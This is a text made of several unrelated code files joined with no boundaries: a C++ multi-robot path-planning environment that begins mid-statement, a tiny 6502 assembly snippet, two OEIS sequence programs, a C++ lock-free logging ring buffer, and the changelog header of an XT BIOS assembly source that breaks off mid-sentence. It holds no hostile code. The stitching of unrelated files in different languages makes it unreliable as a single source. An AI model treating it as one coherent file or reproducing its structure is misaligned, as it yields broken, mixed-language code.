= 1.5; // [#] --- A movement cost penalty for reversing (choosing motion primitives > // 2) static float penaltyReversing = 2.0; // [#] --- A movement cost penalty for change of direction (changing from // primitives < 3 to primitives > 2) static float penaltyCOD = 2.0; // map resolution static float mapResolution = 2.0; // change to set calcIndex resolution static float xyResolution = r * deltat; static float yawResolution = deltat; // width of car static float carWidth = 2.0; // distance from rear to vehicle front end static float LF = 2.0; // distance from rear to vehicle back end static float LB = 1.0; // obstacle default radius static float obsRadius = 1; // least time to wait for constraint static int constraintWaitTime = 2; // R = 3, 6.75 DEG std::vector<double> dyaw = {0, deltat, -deltat, 0, -deltat, deltat}; std::vector<double> dx = {r * deltat, r *sin(deltat), r *sin(deltat), -r *deltat, -r *sin(deltat), -r *sin(deltat)}; std::vector<double> dy = {0, -r *(1 - cos(deltat)), r *(1 - cos(deltat)), 0, -r *(1 - cos(deltat)), r *(1 - cos(deltat))}; static inline float normalizeHeadingRad(float t) { if (t < 0) { t = t - 2.f * M_PI * (int)(t / (2.f * M_PI)); return 2.f * M_PI + t; } return t - 2.f * M_PI * (int)(t / (2.f * M_PI)); } } // namespace Constants namespace libMultiRobotPlanning { using libMultiRobotPlanning::Neighbor; using libMultiRobotPlanning::PlanResult; using namespace libMultiRobotPlanning; typedef ompl::base::SE2StateSpace::StateType OmplState; typedef boost::geometry::model::d2::point_xy<double> Point; typedef boost::geometry::model::segment<Point> Segment; /** * @brief Environment class * * @tparam Location * @tparam State * @tparam Action * @tparam Cost * @tparam Conflict * @tparam Constraint * @tparam Constraints */ template <typename Location, typename State, typename Action, typename Cost, typename Conflict, typename Constraint, typename Constraints> class Environment { public: Environment(size_t maxx, size_t maxy, std::unordered_set<Location> obstacles, std::multimap<int, State> dynamic_obstacles, std::vector<State> goals) : m_obstacles(std::move(obstacles)), m_dynamic_obstacles(std::move(dynamic_obstacles)), m_agentIdx(0), m_constraints(nullptr), m_lastGoalConstraint(-1), m_highLevelExpanded(0), m_lowLevelExpanded(0) { m_dimx = (int)maxx / Constants::mapResolution; m_dimy = (int)maxy / Constants::mapResolution; // std::cout << "env build " << m_dimx << " " << m_dimy << " " // << m_obstacles.size() << std::endl; holonomic_cost_maps = std::vector<std::vector<std::vector<double>>>( goals.size(), std::vector<std::vector<double>>( m_dimx, std::vector<double>(m_dimy, 0))); m_goals.clear(); for (const auto &g : goals) { if (g.x < 0 || g.x > maxx || g.y < 0 || g.y > maxy) { std::cout << "\033[1m\033[31m Goal out of boundary, Fail to build " "environment \033[0m\n"; return; } m_goals.emplace_back( State(g.x, g.y, Constants::normalizeHeadingRad(g.yaw))); } updateCostmap(); } Environment(const Environment &) = delete; Environment &operator=(const Environment &) = delete; /// High Level Environment functions bool getFirstConflict( const std::vector<PlanResult<State, Action, double>> &solution, Conflict &result) { int max_t = 0; for (const auto &sol : solution) { max_t = std::max<int>(max_t, sol.states.size() - 1); } for (int t = 0; t < max_t; ++t) { // check drive-drive collisions for (size_t i = 0; i < solution.size(); ++i) { State state1 = getState(i, solution, t); for (size_t j = i + 1; j < solution.size(); ++j) { State state2 = getState(j, solution, t); if (state1.agentCollision(state2)) { result.time = t; result.agent1 = i; result.agent2 = j; result.s1 = state1; result.s2 = state2; return true; } } } } return false; } void createConstraintsFromConflict( const Conflict &conflict, std::map<size_t, Constraints> &constraints) { Constraints c1; c1.constraints.emplace( Constraint(conflict.time, conflict.s2, conflict.agent2)); constraints[conflict.agent1] = c1; Constraints c2; c2.constraints.emplace( Constraint(conflict.time, conflict.s1, conflict.agent1)); constraints[conflict.agent2] = c2; } void onExpandHighLevelNode(int /*cost*/) { m_highLevelExpanded++; if (m_highLevelExpanded % 50 == 0) std::cout << "Now expand " << m_highLevelExpanded << " high level nodes.\n"; } int highLevelExpanded() { return m_highLevelExpanded; } /// Low Level Environment functions void setLowLevelContext(size_t agentIdx, const Constraints *constraints) { assert(constraints); // NOLINT m_agentIdx = agentIdx; m_constraints = constraints; m_lastGoalConstraint = -1; for (const auto &c : constraints->constraints) { if (m_goals[m_agentIdx].agentCollision(c.s)) { m_lastGoalConstraint = std::max(m_lastGoalConstraint, c.time); } } // std::cout << "Setting Lowlevel agent idx:" << agentIdx // << " Constraints:" << constraints->constraints.size() // << " lastGoalConstraints:" << m_lastGoalConstraint << // std::endl; } int admissibleHeuristic(const State &s) { // non-holonomic-without-obstacles heuristic: use a Reeds-Shepp ompl::base::ReedsSheppStateSpace reedsSheppPath(Constants::r); OmplState *rsStart = (OmplState *)reedsSheppPath.allocState(); OmplState *rsEnd = (OmplState *)reedsSheppPath.allocState(); rsStart->setXY(s.x, s.y); rsStart->setYaw(s.yaw); rsEnd->setXY(m_goals[m_agentIdx].x, m_goals[m_agentIdx].y); rsEnd->setYaw(m_goals[m_agentIdx].yaw); double reedsSheppCost = reedsSheppPath.distance(rsStart, rsEnd); // std::cout << "ReedsShepps cost:" << reedsSheppCost << std::endl; // Euclidean distance double euclideanCost = sqrt(pow(m_goals[m_agentIdx].x - s.x, 2) + pow(m_goals[m_agentIdx].y - s.y, 2)); // std::cout << "Euclidean cost:" << euclideanCost << std::endl; // holonomic-with-obstacles heuristic double twoDoffset = sqrt(pow((s.x - (int)s.x) - (m_goals[m_agentIdx].x - (int)m_goals[m_agentIdx].x), 2) + pow((s.y - (int)s.y) - (m_goals[m_agentIdx].y - (int)m_goals[m_agentIdx].y), 2)); double twoDCost = holonomic_cost_maps[m_agentIdx][(int)s.x / Constants::mapResolution] [(int)s.y / Constants::mapResolution] - twoDoffset; // std::cout << "holonomic cost:" << twoDCost << std::endl; return std::max({reedsSheppCost, euclideanCost, twoDCost}); return 0; } bool isSolution( const State &state, double gscore, std::unordered_map<State, std::tuple<State, Action, double, double>, std::hash<State>> &_camefrom) { double goal_distance = sqrt(pow(state.x - getGoal().x, 2) + pow(state.y - getGoal().y, 2)); if (goal_distance > 3 * (Constants::LB + Constants::LF)) return false; ompl::base::ReedsSheppStateSpace reedsSheppSpace(Constants::r); OmplState *rsStart = (OmplState *)reedsSheppSpace.allocState(); OmplState *rsEnd = (OmplState *)reedsSheppSpace.allocState(); rsStart->setXY(state.x, state.y); rsStart->setYaw(-state.yaw); rsEnd->setXY(getGoal().x, getGoal().y); rsEnd->setYaw(-getGoal().yaw); ompl::base::ReedsSheppStateSpace::ReedsSheppPath reedsShepppath = reedsSheppSpace.reedsShepp(rsStart, rsEnd); std::vector<State> path; std::unordered_map<State, std::tuple<State, Action, double, double>, std::hash<State>> cameFrom; cameFrom.clear(); path.emplace_back(state); for (auto pathidx = 0; pathidx < 5; pathidx++) { if (fabs(reedsShepppath.length_[pathidx]) < 1e-6) continue; double deltat = 0, dx = 0, act = 0, cost = 0; switch (reedsShepppath.type_[pathidx]) { case 0: // RS_NOP continue; break; case 1: // RS_LEFT deltat = -reedsShepppath.length_[pathidx]; dx = Constants::r * sin(-deltat); // dy = Constants::r * (1 - cos(-deltat)); act = 2; cost = reedsShepppath.length_[pathidx] * Constants::r * Constants::penaltyTurning; break; case 2: // RS_STRAIGHT deltat = 0; dx = reedsShepppath.length_[pathidx] * Constants::r; // dy = 0; act = 0; cost = dx; break; case 3: // RS_RIGHT deltat = reedsShepppath.length_[pathidx]; dx = Constants::r * sin(deltat); // dy = -Constants::r * (1 - cos(deltat)); act = 1; cost = reedsShepppath.length_[pathidx] * Constants::r * Constants::penaltyTurning; break; default: std::cout << "\033[1m\033[31m" << "Warning: Receive unknown ReedsSheppPath type" << "\033[0m\n"; break; } if (cost < 0) { cost = -cost * Constants::penaltyReversing; act = act + 3; } State s = path.back(); std::vector<std::pair<State, double>> next_path; if (generatePath(s, act, deltat, dx, next_path)) { for (auto iter = next_path.begin(); iter != next_path.end(); iter++) { State next_s = iter->first; gscore += iter->second; if (!(next_s == path.back())) { cameFrom.insert(std::make_pair<>( next_s, std::make_tuple<>(path.back(), act, iter->second, gscore))); } path.emplace_back(next_s); } } else { return false; } } if (path.back().time <= m_lastGoalConstraint) { return false; } m_goals[m_agentIdx] = path.back(); _camefrom.insert(cameFrom.begin(), cameFrom.end()); return true; } void getNeighbors(const State &s, Action action, std::vector<Neighbor<State, Action, double>> &neighbors) { neighbors.clear(); double g = Constants::dx[0]; for (Action act = 0; act < 6; act++) { // has 6 directions for Reeds-Shepp double xSucc, ySucc, yawSucc; g = Constants::dx[0]; xSucc = s.x + Constants::dx[act] * cos(-s.yaw) - Constants::dy[act] * sin(-s.yaw); ySucc = s.y + Constants::dx[act] * sin(-s.yaw) + Constants::dy[act] * cos(-s.yaw); yawSucc = Constants::normalizeHeadingRad(s.yaw + Constants::dyaw[act]); // if (act != action) { // penalize turning // g = g * Constants::penaltyTurning; // if (act >= 3) // penalize change of direction // g = g * Constants::penaltyCOD; // } // if (act > 3) { // backwards // g = g * Constants::penaltyReversing; // } if (act % 3 != 0) { // penalize turning g = g * Constants::penaltyTurning; } if ((act < 3 && action >= 3) || (action < 3 && act >= 3)) { // penalize change of direction g = g * Constants::penaltyCOD; } if (act >= 3) { // backwards g = g * Constants::penaltyReversing; } State tempState(xSucc, ySucc, yawSucc, s.time + 1); if (stateValid(tempState)) { neighbors.emplace_back( Neighbor<State, Action, double>(tempState, act, g)); } } // wait g = Constants::dx[0]; State tempState(s.x, s.y, s.yaw, s.time + 1); if (stateValid(tempState)) { neighbors.emplace_back(Neighbor<State, Action, double>(tempState, 6, g)); } } State getGoal() { return m_goals[m_agentIdx]; } uint64_t calcIndex(const State &s) { return (uint64_t)s.time * (2 * M_PI / Constants::deltat) * (m_dimx / Constants::xyResolution) * (m_dimy / Constants::xyResolution) + (uint64_t)(Constants::normalizeHeadingRad(s.yaw) / Constants::yawResolution) * (m_dimx / Constants::xyResolution) * (m_dimy / Constants::xyResolution) + (uint64_t)(s.y / Constants::xyResolution) * (m_dimx / Constants::xyResolution) + (uint64_t)(s.x / Constants::xyResolution); } void onExpandLowLevelNode(const State & /*s*/, int /*fScore*/, int /*gScore*/) { m_lowLevelExpanded++; } int lowLevelExpanded() const { return m_lowLevelExpanded; } bool startAndGoalValid(const std::vector<State> &m_starts, const size_t iter, const int batchsize) { assert(m_goals.size() == m_starts.size()); for (size_t i = 0; i < m_goals.size(); i++) for (size_t j = i + 1; j < m_goals.size(); j++) { if (m_goals[i].agentCollision(m_goals[j])) { std::cout << "ERROR: Goal point of " << i + iter * batchsize << " & " << j + iter * batchsize << " collide!\n"; return false; } if (m_starts[i].agentCollision(m_starts[j])) { std::cout << "ERROR: Start point of " << i + iter * batchsize << " & " << j + iter * batchsize << " collide!\n"; return false; } } return true; } private: State getState(size_t agentIdx, const std::vector<PlanResult<State, Action, double>> &solution, size_t t) { assert(agentIdx < solution.size()); if (t < solution[agentIdx].states.size()) { return solution[agentIdx].states[t].first; } assert(!solution[agentIdx].states.empty()); return solution[agentIdx].states.back().first; } bool stateValid(const State &s) { double x_ind = s.x / Constants::mapResolution; double y_ind = s.y / Constants::mapResolution; if (x_ind < 0 || x_ind >= m_dimx || y_ind < 0 || y_ind >= m_dimy) return false; for (auto it = m_obstacles.begin(); it != m_obstacles.end(); it++) { if (s.obsCollision(*it)) return false; } auto it = m_dynamic_obstacles.equal_range(s.time); for (auto itr = it.first; itr != it.second; ++itr) { if (s.agentCollision(itr->second)) return false; } auto itlow = m_dynamic_obstacles.lower_bound(-s.time); auto itup = m_dynamic_obstacles.upper_bound(-1); for (auto it = itlow; it != itup; ++it) if (s.agentCollision(it->second)) return false; for (auto it = m_constraints->constraints.begin(); it != m_constraints->constraints.end(); it++) { if (!it->satisfyConstraint(s)) return false; } return true; } private: struct compare_node { bool operator()(const std::pair<State, double> &n1, const std::pair<State, double> &n2) const { return (n1.second > n2.second); } }; void updateCostmap() { boost::heap::fibonacci_heap<std::pair<State, double>, boost::heap::compare<compare_node>> heap; std::set<std::pair<int, int>> temp_obs_set; for (auto it = m_obstacles.begin(); it != m_obstacles.end(); it++) { temp_obs_set.insert( std::make_pair((int)it->x / Constants::mapResolution, (int)it->y / Constants::mapResolution)); } for (size_t idx = 0; idx < m_goals.size(); idx++) { heap.clear(); int goal_x = (int)m_goals[idx].x / Constants::mapResolution; int goal_y = (int)m_goals[idx].y / Constants::mapResolution; heap.push(std::make_pair(State(goal_x, goal_y, 0), 0)); while (!heap.empty()) { std::pair<State, double> node = heap.top(); heap.pop(); int x = node.first.x; int y = node.first.y; for (int dx = -1; dx <= 1; dx++) for (int dy = -1; dy <= 1; dy++) { if (dx == 0 && dy == 0) continue; int new_x = x + dx; int new_y = y + dy; if (new_x == goal_x && new_y == goal_y) continue; if (new_x >= 0 && new_x < m_dimx && new_y >= 0 && new_y < m_dimy && holonomic_cost_maps[idx][new_x][new_y] == 0 && temp_obs_set.find(std::make_pair(new_x, new_y)) == temp_obs_set.end()) { holonomic_cost_maps[idx][new_x][new_y] = holonomic_cost_maps[idx][x][y] + sqrt(pow(dx * Constants::mapResolution, 2) + pow(dy * Constants::mapResolution, 2)); heap.push(std::make_pair(State(new_x, new_y, 0), holonomic_cost_maps[idx][new_x][new_y])); } } } } // for (size_t idx = 0; idx < m_goals.size(); idx++) { // std::cout << "---------Cost Map -------Agent: " << idx // << "------------\n"; // for (size_t i = 0; i < m_dimx; i++) { // for (size_t j = 0; j < m_dimy; j++) // std::cout << holonomic_cost_maps[idx][i][j] << "\t"; // std::cout << std::endl; // } // } } bool generatePath(State startState, int act, double deltaSteer, double deltaLength, std::vector<std::pair<State, double>> &result) { double xSucc, ySucc, yawSucc, dx, dy, dyaw, ratio; result.emplace_back(std::make_pair<>(startState, 0)); if (act == 0 || act == 3) { for (size_t i = 0; i < (size_t)(deltaLength / Constants::dx[act]); i++) { State s = result.back().first; xSucc = s.x + Constants::dx[act] * cos(-s.yaw) - Constants::dy[act] * sin(-s.yaw); ySucc = s.y + Constants::dx[act] * sin(-s.yaw) + Constants::dy[act] * cos(-s.yaw); yawSucc = Constants::normalizeHeadingRad(s.yaw + Constants::dyaw[act]); State nextState(xSucc, ySucc, yawSucc, result.back().first.time + 1); if (!stateValid(nextState)) return false; result.emplace_back(std::make_pair<>(nextState, Constants::dx[0])); } ratio = (deltaLength - (int)(deltaLength / Constants::dx[act]) * Constants::dx[act]) / Constants::dx[act]; dyaw = 0; dx = ratio * Constants::dx[act]; dy = 0; } else { for (size_t i = 0; i < (size_t)(deltaSteer / Constants::dyaw[act]); i++) { State s = result.back().first; xSucc = s.x + Constants::dx[act] * cos(-s.yaw) - Constants::dy[act] * sin(-s.yaw); ySucc = s.y + Constants::dx[act] * sin(-s.yaw) + Constants::dy[act] * cos(-s.yaw); yawSucc = Constants::normalizeHeadingRad(s.yaw + Constants::dyaw[act]); State nextState(xSucc, ySucc, yawSucc, result.back().first.time + 1); if (!stateValid(nextState)) return false; result.emplace_back(std::make_pair<>( nextState, Constants::dx[0] * Constants::penaltyTurning)); } ratio = (deltaSteer - (int)(deltaSteer / Constants::dyaw[act]) * Constants::dyaw[act]) / Constants::dyaw[act]; dyaw = ratio * Constants::dyaw[act]; dx = Constants::r * sin(dyaw); dy = -Constants::r * (1 - cos(dyaw)); if (act == 2 || act == 5) { dx = -dx; dy = -dy; } } State s = result.back().first; xSucc = s.x + dx * cos(-s.yaw) - dy * sin(-s.yaw); ySucc = s.y + dx * sin(-s.yaw) + dy * cos(-s.yaw); yawSucc = Constants::normalizeHeadingRad(s.yaw + dyaw); // std::cout << m_agentIdx << " ratio::" << ratio << std::endl; State nextState(xSucc, ySucc, yawSucc, result.back().first.time + 1); if (!stateValid(nextState)) return false; result.emplace_back(std::make_pair<>(nextState, ratio * Constants::dx[0])); // std::cout << "Have generate " << result.size() << " path segments:\n\t"; // for (auto iter = result.begin(); iter != result.end(); iter++) // std::cout << iter->first << ":" << iter->second << "->"; // std::cout << std::endl; return true; } private: int m_dimx; int m_dimy; std::vector<std::vector<std::vector<double>>> holonomic_cost_maps; std::unordered_set<Location> m_obstacles; std::multimap<int, State> m_dynamic_obstacles; std::vector<State> m_goals; // std::vector< std::vector<int> > m_heuristic; std::vector<double> m_vel_limit; size_t m_agentIdx; const Constraints *m_constraints; int m_lastGoalConstraint; int m_highLevelExpanded; int m_lowLevelExpanded; }; } // namespace libMultiRobotPlanning
lda {m2} sta ({z1}),y iny lda {m2}+1 sta ({z1}),y
; A099041: Number of 3 X n 0-1 matrices avoiding simultaneously the right angled numbered polyomino patterns (ranpp) (00;1), (10;0) and (10;1). ; 1,8,24,58,128,270,556,1130,2280,4582,9188,18402,36832,73694,147420,294874,589784,1179606,2359252,4718546,9437136,18874318,37748684,75497418,150994888,301989830,603979716,1207959490,2415919040,4831838142,9663676348,19327352762 mov $1,1 lpb $0 sub $0,1 mul $1,2 add $1,2 add $2,$1 lpe add $1,$2
/*! \file async_buffer.inl \brief Asynchronous logging buffer inline implementation \author Ivan Shynkarenka \date 04.08.2016 \copyright MIT License */ #if defined(_MSC_VER) #pragma warning(push) #pragma warning(disable: 4702) // C4702: unreachable code #endif namespace CppLogging { inline AsyncBuffer::AsyncBuffer(size_t capacity) : _capacity(capacity), _mask(capacity - 1), _buffer(new Node[capacity]), _head(0), _tail(0) { assert((capacity > 1) && "Ring buffer capacity must be greater than one!"); assert(((capacity & (capacity - 1)) == 0) && "Ring buffer capacity must be a power of two!"); memset(_pad0, 0, sizeof(cache_line_pad)); memset(_pad1, 0, sizeof(cache_line_pad)); memset(_pad2, 0, sizeof(cache_line_pad)); // Populate the sequence initial values for (size_t i = 0; i < capacity; ++i) _buffer[i].sequence.store(i, std::memory_order_relaxed); } inline size_t AsyncBuffer::size() const noexcept { const size_t head = _head.load(std::memory_order_acquire); const size_t tail = _tail.load(std::memory_order_acquire); return head - tail; } inline bool AsyncBuffer::Enqueue(Record& record) { size_t head_sequence = _head.load(std::memory_order_relaxed); for (;;) { Node* node = &_buffer[head_sequence & _mask]; size_t node_sequence = node->sequence.load(std::memory_order_acquire); // If node sequence and head sequence are the same then it means this slot is empty int64_t diff = (int64_t)node_sequence - (int64_t)head_sequence; if (diff == 0) { // Claim our spot by moving head. If head isn't the same // as we last checked then that means someone beat us to // the punch weak compare is faster, but can return spurious // results which in this instance is OK, because it's in the loop if (_head.compare_exchange_weak(head_sequence, head_sequence + 1, std::memory_order_relaxed)) { // Store and swap the item value swap(node->value, record); // Increment the sequence so that the tail knows it's accessible node->sequence.store(head_sequence + 1, std::memory_order_release); return true; } } else if (diff < 0) { // If node sequence is less than head sequence then it means this slot is full // and therefore buffer is full return false; } else { // Under normal circumstances this branch should never be taken head_sequence = _head.load(std::memory_order_relaxed); } } // Never taken return false; } inline bool AsyncBuffer::Dequeue(Record& record) { size_t tail_sequence = _tail.load(std::memory_order_relaxed); for (;;) { Node* node = &_buffer[tail_sequence & _mask]; size_t node_sequence = node->sequence.load(std::memory_order_acquire); // If node sequence and head sequence are the same then it means this slot is empty int64_t diff = (int64_t)node_sequence - (int64_t)(tail_sequence + 1); if (diff == 0) { // Claim our spot by moving head. If head isn't the same // as we last checked then that means someone beat us to // the punch weak compare is faster, but can return spurious // results which in this instance is OK, because it's in the loop if (_tail.compare_exchange_weak(tail_sequence, tail_sequence + 1, std::memory_order_relaxed)) { // Swap and get the item value swap(record, node->value); // Set the sequence to what the head sequence should be next time around node->sequence.store(tail_sequence + _mask + 1, std::memory_order_release); return true; } } else if (diff < 0) { // if seq is less than head seq then it means this slot is full and therefore the buffer is full return false; } else { // Under normal circumstances this branch should never be taken tail_sequence = _tail.load(std::memory_order_relaxed); } } // Never taken return false; } } // namespace CppLogging #if defined(_MSC_VER) #pragma warning(pop) #endif
; A200166: Number of -n..n arrays x(0..2) of 3 elements with nonzero sum and with zero through 2 differences all nonzero. ; 2,34,128,348,726,1326,2180,3352,4874,6810,9192,12084,15518,19558,24236,29616,35730,42642,50384,59020,68582,79134,90708,103368,117146,132106,148280,165732,184494,204630,226172,249184,273698,299778,327456,356796,387830,420622,455204,491640,529962,570234,612488,656788,703166,751686,802380,855312,910514,968050,1027952,1090284,1155078,1222398,1292276,1364776,1439930,1517802,1598424,1681860,1768142,1857334,1949468,2044608,2142786,2244066,2348480,2456092,2566934,2681070,2798532,2919384,3043658,3171418,3302696,3437556,3576030,3718182,3864044,4013680,4167122,4324434,4485648,4650828,4820006,4993246,5170580,5352072,5537754,5727690,5921912,6120484,6323438,6530838,6742716,6959136,7180130,7405762,7636064,7871100 mov $4,$0 mod $0,2 mul $0,4 add $0,2 mov $2,$4 mul $2,9 add $0,$2 mov $3,$4 mul $3,$4 mov $2,$3 mul $2,11 add $0,$2 mul $3,$4 mov $2,$3 mul $2,8 add $0,$2
;=================================================================================================== ; Super PC/Turbo XT BIOS for Intel 8088 or NEC "V20" Motherboards ; Additions by Ya`akov Miles (1987) and Jon Petrosky <Plasma> (2008-2017) ; http://www.phatcode.net/ ;--------------------------------------------------------------------------------------------------- ; This is a modification of the widely-distributed "(c) Anonymous Generic Turbo XT" BIOS, which is ; actually a Taiwanese BIOS that was reverse-engineered by Ya`akov Miles in 1987. ; ; Back in 2008 I put together an XT system and wanted a BIOS that supported booting from a hard ; drive. The Generic XT BIOS did not support this, but since source code was provided it was easy to ; add this feature. While I was at it, I fixed some bugs I found, added more features, and cleaned ; up the code. Initially I only modified this BIOS for my computer, but I decided I might as well ; release my new version in case it proves useful for someone else. ; ; In 2011 I was informed that this BIOS did not work correctly with the original IBM PC (5150). I ; made some additional changes and now the 5150 is supported as well as the 5160 (XT) and just about ; all PC/XT clones. ; ; You do not need to have a turbo motherboard to use this BIOS, but if you do, then you can use the ; "CTRL ALT -" key combination to toggle the computer speed between fast and slow. When the speed is ; toggled, the PC speaker will sound a high/low pitched blip to indicate the system speed selected. ;--------------------------------------------------------------------------------------------------- ; File: pcxtbios.asm ; Updated: v3.1 10-28-2017 ; v3.0 11-09-2016 ; v2.6 04-18-2016 ; v2.5 05-02-2012 ; v2.4 04-23-2012 ; v2.3 03-13-2012 ; v2.2 03-05-2012 ; v2.1 12-03-2011 ; v2.0 04-23-2008 ;=================================================================================================== ;--------------------------------------------------------------------------------------------------- ; BIOS Configuration Definitions ;--------------------------------------------------------------------------------------------------- ;IBM_PC = 1 ; Define if using with original IBM PC (5150) or exact clone ; This will read the 5150 config switches correctly ; and set the BIOS computer type to FFh (PC) rather than FEh (XT). ; You should also disable the TURBO_ENABLED and SLOW_FLOPPY ; definitions if using with an original PC. TURBO_ENABLED = 1 ; Define to enable "turbo" support ;TURBO_BOOT = 1 ; Define to boot up in turbo mode (full speed) TURBO_HOTKEY = 1 ; Define to enable "CTRL ALT -" hotkey to toggle turbo mode SLOW_FLOPPY = 1 ; Define to always run floppy drive at 4.77 MHz (turbo PCs only) ;TEST_CPU = 1 ; Define to test CPU at power on ; If enabled, ENHANCED_KEYB must be disabled due to memory limits TEST_VIDEO = 1 ; Define to test video memory at power on (Mono/Herc/CGA only) ; If enabled, CLEAR_UMA must be disabled due to memory limits MAX_MEMORY = 640 ; Maximum conventional memory allowed in KB (with EGA/VGA) ;MAX_MEMORY = 704 ; (with Mono/Hercules) ;MAX_MEMORY = 736 ; (with CGA) ;FAST_MEM_CHECK = 1 ; Define to use faster but less thorough memory check ;NO_MEM_CHECK = 1 ; Define to clear memory only ;CLEAR_UMA = 1 ; Define to clear specifed upper memory area (UMA_START to UMA_END) ; If enabled, TEST_VIDEO must be disabled due to memory limits ;UMA_START = 0D000h ; UMA region start segment, must be 8K aligned ;UMA_END = 0F000h ; UMA region end segment, must be 8K aligned ENHANCED_KEYB = 1 ; Define for Int 9h enhanced (101-key) keyboard support ; If enabled, TEST_CPU must be disabled due to memory limits ENABLE_EXPANSION = 1 ;ROM_START = 0C000h ; Expansion ROM search start segment, must be 2K aligned ;ROM_END = 0FE00h ; Expansion ROM search end segment, must be 2K aligned ROM_DELAY = 2 ; Seconds to wait after expansion ROM inits (keypress will bypass) BOOT_DELAY = 3 ; Seconds to wait after memory test (keypress will bypass) ;WARM_BOOT_BASIC = 1 ; Define to display ROM BASIC boot prompt during a warm boot ;RETRY_DISK = 1 ; Define to always retry disk boot, even if ROM BASIC present ;TITLE_BAR_FADE = 1 ; Define for fancy pants (disable to save ROM space) ;--------------------------------------------------------------------------------------------------- ; System Error Codes (may be combined) ;--------------------------------------------------------------------------------------------------- error_bios equ 01h ; Bad ROM BIOS checksum, patch last byte error_ram equ 02h ; Bad RAM in main memory, replace error_video equ 04h ; Bad RAM in video card, replace error_mem equ 10h ; Bad RAM in vector area, replace error_rom equ 20h ; Bad ROM in expansion area, bad checksum ;--------------------------------------------------------------------------------------------------- ; Changes by Plasma ;--------------------------------------------------------------------------------------------------- ; Version 3.1 Changes: ; ; Bug Fixes: ; * IBM 5150 PC config switches corrected (previously had problems with CGA and/or FPU) ; * 40-column CGA boot fixed ; ; Changed: ; * Int 10h/ah=0 ignores invalid video modes ; ; Version 3.0 Changes: ; ; Tools: ; * TASM replaced with Open Watcom Assembler (WASM) ; * Win32 and Linux versions of tools now included so BIOS can be built in more environments ; * Disassembly listing now automatically generated ; ; ROMs: ; * Ably-Tech HD Floppy BIOS replaced with Sergey's Floppy BIOS 2.2 ; * Western Digital IDE SuperBIOS replaced with XT-IDE Universal BIOS 2.0.0.3+ r591 ; * Future Domain TMC-850M BIOS removed ; * Option added to batch files to exclude IBM ROM BASIC ; ; Code: ; * First pass at optimizing code for space ; * Some instructions corrected for stricter assemblers ; * Slight modifications to assemble with WASM (still assembles with TASM) ; * Location of strings and procs optimized to maximize continguous free space for additional code ; * Free space now filled with 90h instead of FFh so it appears more unique in a hex editor ; ; Added: ; * ROM_START and ROM_END defines set scanning region for expansion ROMs (can overlap BASIC region) ; * Option to delay after expansion ROMs init before clearing screen (ROM_DELAY) ; * Option to always retry disk boot, even if ROM BASIC present (define RETRY_DISK) ; * Keyboard buffer cleared after memory check so BASIC prompt isn't accidentally skipped ; * Added base port 2C0h to RTC (clock) detection ; * Option for title bar "fade" ; ; Changed: ; * Memory check now 16-bit access; will be faster on 8086/V30 and some emulators ; ; Version 2.6 Changes: ; ; Bug Fixed: ; * Fixed bug preventing programs from performing warm boot by setting 0040:0072 to 1234h and ; jumping to F000:FFF0 or F000:E05B (previously would always cold boot). This bug was also ; present in the original BIOS. ; ; Version 2.5 Changes: ; ; Added: ; * Option to clear user-defined memory region in upper memory area (UMA) for systems with non-EMS ; UMBs. These UMBs should be cleared before use or parity errors may occur. Define CLEAR_UMA and ; set the region with UMA_START and UMA_END. Because of ROM space limitations, TEST_VIDEO must be ; disabled if using CLEAR_UMA. ; * Option to display ROM BASIC boot prompt during warm boot (define WARM_BOOT_BASIC). ; ; Version 2.4 Changes: ; ; Added: ; * Improved support for 101-key enhanced keyboards (define ENHANCED_KEYB to enable) ; * CPU test now optional (define TEST_CPU). Must be disabled if ENHANCED_KEYB is enabled due to ; ROM space limitations. ; * Video memory test now optional (define TEST_VIDEO). Applies only to Mono/Herc/CGA cards; video ; memory is never tested on EGA/VGA cards. ; ; Changed: ; * Int 16h extended keyboard functions now fully implemented (ah=00h/01h/02h/05h/10h/11h/12h). ; Note that ENHANCED_KEYB does not need to be enabled to use these functions. ; * KEYB_SHIFT_FIX removed; use ENHANCED_KEYB instead. ; * NO_MEM_CHECK now faster; only zeroes out memory and does not blank check. ; * Removed Int 15h hooks for future expansion BIOS (not used) ; ; Version 2.3 Changes: ; ; Changed: ; * Int 16h extended keyboard functions (ah=10h/11h/12h) now mapped to standard functions ; (ah=00h/01h/02h) for programs that expect enhanced keyboard support. ; ; Version 2.2 Changes: ; ; Tools: ; * Make batch file generates proper 32K ROMs for IBM 5155 and 5160 ; ; Bug Fixed/Changed: ; * FAST_MEM_CHECK option now clears memory after testing. This fixes problems with programs ; unable to find free interrupt vectors. However the "fast" memory check is now slower. For the ; fastest startup you can now disable the memory check with the NO_MEM_CHECK option. ; ; Version 2.1 Changes: ; ; Added: ; * Optional define for IBM PC 5150 support (config switches on motherboard are read differently) ; * Original IBM PC 5150 Int 2 (NMI) entry point now supported for better IBM PC compatibility ; * Optional define to disable turbo support completely (for non-turbo 4.77 MHz systems) ; * Int 15h hooks are called for future expansion BIOS to display drives and boot menu if present ; * Optional define to set boot delay length ; ; Changed: ; * Hard drive boot sector load is now only attempted 2 times rather than 4 ; * Boot delay now based on system timer rather than fixed loops, useful for very fast systems ; * Pressing any key during boot delay message will end delay and start booting ; ; Bug Fixes: ; * Boots to BASIC if no floppy or hard drive controller (previously would hang) ; * Screen cleared after error if user chooses to continue booting ; ; Version 2.0 Changes: ; ; Code: ; * Changed from MASM 4.x to TASM IDEAL mode ; * Cleaned up source code: added procs, more descriptive labels ; (...still some spaghetti due to necessary hard-coded entry points) ; ; Bug Fixes: ; * Warm boot flag restored after external ROM initialization code (fixes CTRL+ALT+DEL warm boot) ; * Equipment Flag in BIOS Data Area now set correctly ; * Fixed cursor shape when using Hercules card (was in the middle of the character) ; ; Added: ; * Optional define to always boot up in turbo mode (TURBO_BOOT) ; * Optional define for fast memory check (FAST_MEM_CHECK); uses one test pattern only ; * Optional define for 101-key keyboard shift+nav keys work-around (KEYB_SHIFT_FIX) ; * BIOS is now EGA/VGA aware; will only test video memory on Mono/Herc/CGA cards ; * Nicer boot screen with color support for CGA/EGA/VGA ; * Processor and Math Coprocessor detection ; * Memory test displays count every 8K; speeds up check on fast systems with slow video cards ; * User has option to boot ROM BASIC even if bootable disk present ; * Supports booting from hard drive (if external controller ROM present) ; * Toggling turbo on/off sounds high/low-pitched beep rather than changing cursor shape ; ; Notes: ; * High-density floppy disks (3.5" 1.44MB and 5.25" 1.2MB) are not supported due to lack of ; ROM space. You will need to use an external floppy controller BIOS for this. Another option ; is to run DR-DOS, which loads software support for high-density drives (this still requires a ; high-density controller, but no ROM required). There is also a DOS TSR called "2M-XBIOS" which ; adds 